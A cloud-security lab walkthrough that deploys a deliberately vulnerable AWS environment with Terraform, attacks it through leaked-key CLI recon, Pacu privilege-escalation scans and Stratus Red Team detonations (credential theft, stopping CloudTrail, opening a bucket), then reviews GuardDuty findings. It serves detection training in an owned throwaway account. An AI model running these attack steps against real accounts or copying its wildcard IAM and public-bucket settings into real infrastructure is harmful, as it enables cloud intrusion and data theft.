Cloud Security Office Hours Banner

Break it, then catch it: a vulnerable AWS lab

Deploy a deliberately-weak AWS environment, attack it yourself three different ways, and watch GuardDuty react. A safe, self-contained purple-team loop in a throwaway account.

Jump to the build Back to Home Lab

· · Vendor-neutral

Time: ~4 hours  ·  Difficulty: Intermediate  ·  Stack: AWS free tier · Terraform · AWS CLI · Pacu · GuardDuty · Stratus Red Team

Authorization and safety. This walkthrough deploys deliberately weak resources in a real AWS account and runs offensive tooling against them. Do it only in a dedicated throwaway lab account that already has the budget guardrails from the home-lab guide, and tear everything down the same day. Never point these tools at an account you do not fully own.

The single best way to understand a cloud attack is to build the vulnerable setup, exploit it yourself, and then watch the defenses react - or fail to. This walkthrough deploys a small, deliberately-weak AWS environment with Terraform, walks three escalating attack paths against it (manual CLI recon, automated enumeration with Pacu, ATT&CK technique detonation with Stratus Red Team), and reads the GuardDuty findings that result. It ends with the question every detection engineer asks - what did the defenses miss? - which is the on-ramp to the CloudTrail-to-SIEM walkthrough.

On this page

  1. What you will build
  2. Prerequisites
  3. Step-by-step
  4. What did the defenses miss?
  5. Common mistakes
  6. Where next

What you will build

Prerequisites

Step-by-step

1. Turn on the sensors first

Enable detection before you attack, so every action is recorded from the start.

# GuardDuty: enable the detector (30-day free trial on a new account)
aws guardduty create-detector --enable --region us-east-1   # a "detector" is GuardDuty's per-region sensor; --enable turns it on
aws guardduty list-detectors                                # returns the detector id you just created - keep it handy

Now a CloudTrail trail delivering management events to S3. trail.tf:

# The S3 bucket CloudTrail will write its log files into.
resource "aws_s3_bucket" "trail" {
  bucket        = "ct-lab-${data.aws_caller_identity.me.account_id}"   # account id makes the name globally unique
  force_destroy = true                                                 # let `terraform destroy` delete it even when full of logs
}

data "aws_caller_identity" "me" {}   # a read-only lookup of the current account id (used above and below)

# CloudTrail is an AWS service, not you, so the bucket needs a policy that lets
# the service write to it. These two statements are the exact grants AWS documents.
resource "aws_s3_bucket_policy" "trail" {
  bucket = aws_s3_bucket.trail.id
  policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      # 1) Let CloudTrail read the bucket's ACL so it can verify ownership before writing.
      { Sid = "AclCheck", Effect = "Allow",
        Principal = { Service = "cloudtrail.amazonaws.com" },   # the principal is the service, not a user
        Action = "s3:GetBucketAcl", Resource = aws_s3_bucket.trail.arn },
      # 2) Let CloudTrail drop log objects under the AWSLogs/<account>/ prefix it uses.
      { Sid = "Write", Effect = "Allow",
        Principal = { Service = "cloudtrail.amazonaws.com" },
        Action = "s3:PutObject",
        Resource = "${aws_s3_bucket.trail.arn}/AWSLogs/${data.aws_caller_identity.me.account_id}/*",
        Condition = { StringEquals = { "s3:x-amz-acl" = "bucket-owner-full-control" } } }   # AWS requires this ACL on the write
    ]
  })
}

resource "aws_cloudtrail" "lab" {
  name                          = "lab-trail"
  s3_bucket_name                = aws_s3_bucket.trail.id   # deliver logs to the bucket above
  include_global_service_events = true                     # capture global services (IAM, STS) too, not just regional ones
  is_multi_region_trail         = true                     # record activity in every region, so attacks can't hide in an unused one
  depends_on                    = [aws_s3_bucket_policy.trail]   # the policy must exist first, or CloudTrail's first write is denied
}

2. Deploy the vulnerable stack

vuln.tf - each resource is a real-world mistake you will recognize:

# A public bucket holding fake "loot" - the target an attacker exfiltrates.
resource "aws_s3_bucket" "loot" {
  bucket        = "exports-lab-${data.aws_caller_identity.me.account_id}"
  force_destroy = true
}
# Same trick as the LocalStack lab: disabling all four guards is what lets the
# public policy below actually expose the bucket.
resource "aws_s3_bucket_public_access_block" "loot" {
  bucket                  = aws_s3_bucket.loot.id
  block_public_acls       = false
  block_public_policy     = false
  ignore_public_acls      = false
  restrict_public_buckets = false
}
resource "aws_s3_bucket_policy" "loot" {
  bucket = aws_s3_bucket.loot.id
  policy = jsonencode({
    Version = "2012-10-17",
    # Principal "*" = anyone on the internet may GetObject every object in the bucket.
    Statement = [{ Effect = "Allow", Principal = "*",
      Action = "s3:GetObject", Resource = "${aws_s3_bucket.loot.arn}/*" }]
  })
}

# A secret hiding in SSM Parameter Store - the "collection" target for later.
resource "aws_ssm_parameter" "db_password" {
  name  = "/lab/db_password"
  type  = "SecureString"                 # SecureString = KMS-encrypted at rest; reading it needs --with-decryption
  value = "hunter2-not-a-real-secret"    # obviously fake - never put a real secret in code
}

# An over-permissive IAM user with a long-lived access key ("the leaked key").
resource "aws_iam_user" "legacy" { name = "legacy-app" }
resource "aws_iam_user_policy" "legacy" {
  name   = "too-much"
  user   = aws_iam_user.legacy.name
  policy = jsonencode({
    Version = "2012-10-17",
    # Full control over IAM, S3, and SSM - broad enough to enumerate, escalate, and exfiltrate.
    Statement = [{ Effect = "Allow", Action = ["iam:*","s3:*","ssm:*"], Resource = "*" }]
  })
}
resource "aws_iam_access_key" "legacy" { user = aws_iam_user.legacy.name }   # the static key you'll "leak" to yourself

# Terraform outputs surface the generated key so the attack steps can read it back.
output "leaked_access_key_id"     { value = aws_iam_access_key.legacy.id }
output "leaked_secret_access_key" { value = aws_iam_access_key.legacy.secret, sensitive = true }   # sensitive = hide it from normal CLI output
terraform init                    # download providers (run once per project)
terraform apply -auto-approve     # create the trail + vulnerable stack; -auto-approve skips the prompt
echo "top-secret export data" > loot.txt   # make a decoy file to plant in the public bucket
# Upload it. $(...) runs terraform output to fetch the real bucket name; if that fails,
# the || fallback uses a placeholder you'd edit by hand.
aws s3 cp loot.txt s3://$(terraform output -raw loot_bucket 2>/dev/null || echo exports-lab-CHANGEME)/

3. Attack path 1 - manual recon with the leaked key

Configure a profile with the leaked key (as if you found it in a public git repo), then walk the recon-to-collection chain:

# Load the leaked key into this shell's environment (as if you'd found it in a public repo).
export AWS_ACCESS_KEY_ID=$(terraform output -raw leaked_access_key_id)       # -raw = print the value with no quotes/formatting
export AWS_SECRET_ACCESS_KEY=$(terraform output -raw leaked_secret_access_key)
unset AWS_PROFILE   # make sure these env vars win, not some admin profile in ~/.aws/config

aws sts get-caller-identity                         # step 1, credential access: confirm which identity the key is
aws iam list-user-policies --user-name legacy-app   # step 2, discovery: what inline policies does it have?
aws iam get-user-policy --user-name legacy-app --policy-name too-much   # read the policy - it's the wildcard admin one

# step 3, collection: find and read the loot, then decrypt the SSM secret
aws s3 ls                                           # list buckets the key can see
aws s3 cp s3://exports-lab-<account-id>/loot.txt -   # trailing "-" streams the object to stdout instead of a file
aws ssm get-parameter --name /lab/db_password --with-decryption \   # --with-decryption returns the plaintext SecureString
  --query Parameter.Value --output text             # --query/--output text = print just the value, nothing else

Each command is one link in a real kill chain: credential access (the leaked key), discovery (enumerating what it can do), and collection (reading the bucket and the decrypted secret). This is exactly how the majority of cloud breaches begin - see the breach kill chains for the production versions.

4. Attack path 2 - automated enumeration with Pacu

pip install pacu
pacu                               # launches Pacu's own interactive shell (its own prompt, not bash)
# inside the Pacu shell:
#   import_keys --import-aws-cli   # pull the leaked creds from your AWS CLI config into Pacu (or set them manually)
#   run iam__enum_permissions      # enumerate every permission the key has
#   run iam__privesc_scan          # take those permissions and map concrete paths to admin
#   run s3__download_bucket        # bulk-download readable buckets - automated collection

Pacu is the AWS exploitation framework. iam__privesc_scan is the highlight: it takes the permissions you enumerated and tells you how to escalate to admin from them - the same reasoning an attacker (or a good IAM reviewer) applies to an over-permissive policy.

5. Attack path 3 - detonate ATT&CK techniques with Stratus Red Team

brew install stratus-red-team          # or grab a binary from the releases page
stratus list                            # browse the catalog; each entry maps to a MITRE ATT&CK technique

# detonate a few - each command spins up its own prerequisites, performs the technique,
# and generates the exact telemetry a real attacker would leave in CloudTrail
stratus detonate aws.credential-access.ec2-steal-instance-credentials   # steal an instance's role credentials
stratus detonate aws.defense-evasion.cloudtrail-stop                    # stop logging to blind the defender
stratus detonate aws.exfiltration.s3-backdoor-bucket-policy            # open a bucket to the world

stratus cleanup --all                   # ALWAYS run this - it deletes the instances/roles each technique created (they're billable)

Stratus Red Team is purpose-built to test detections: each technique maps to a MITRE ATT&CK ID and produces the exact telemetry a real attacker would. You are generating a labeled dataset of malicious activity in your own account.

6. Read the GuardDuty findings

# Grab the detector id into a shell variable so the next two commands can reuse it.
DETECTOR=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)   # --query pulls the first id out of the JSON
aws guardduty list-findings --detector-id "$DETECTOR"        # list finding IDs GuardDuty has raised
aws guardduty get-findings --detector-id "$DETECTOR" \       # fetch the full detail for one finding...
  --finding-ids <finding-id> --query 'Findings[0].{type:Type,severity:Severity}'   # ...and print just its type and severity

Expect findings such as Stealth:IAMUser/CloudTrailLoggingDisabled (from the Stratus cloudtrail-stop), UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS (from the credential-theft technique), and Policy:S3/BucketAnonymousAccessGranted (from your public bucket). Findings can take minutes to hours to surface; to see the shape of a finding immediately, generate samples with aws guardduty create-sample-findings --detector-id "$DETECTOR". Read each finding in full - every one is a real attack pattern, annotated, in an environment you control.

What did the defenses miss?

GuardDuty is anomaly- and signature-based, so it will not flag everything you did. The quiet ssm:GetParameter read of the secret, the iam:PutUserPolicy self-escalation Pacu mapped, and the plain enumeration calls often raise no managed finding at all. That gap is not a failure of the lab - it is the reason detection engineers write their own logic against the raw audit trail. Take your list of "things GuardDuty missed" straight into the CloudTrail-to-SIEM walkthrough and build detections for them.

Tear it all down. The most important step. Run it before you close the laptop:

stratus cleanup --all             # remove anything Stratus created (do this first - Terraform doesn't know about it)
terraform destroy -auto-approve   # tear down the trail + vulnerable stack you built
# sanity-check the console: no running EC2, no public bucket, no stray access keys
# The || fallback prints a friendly message once the user (and its keys) is gone.
aws iam list-access-keys --user-name legacy-app 2>/dev/null || echo "user gone - good"

Common mistakes

Where next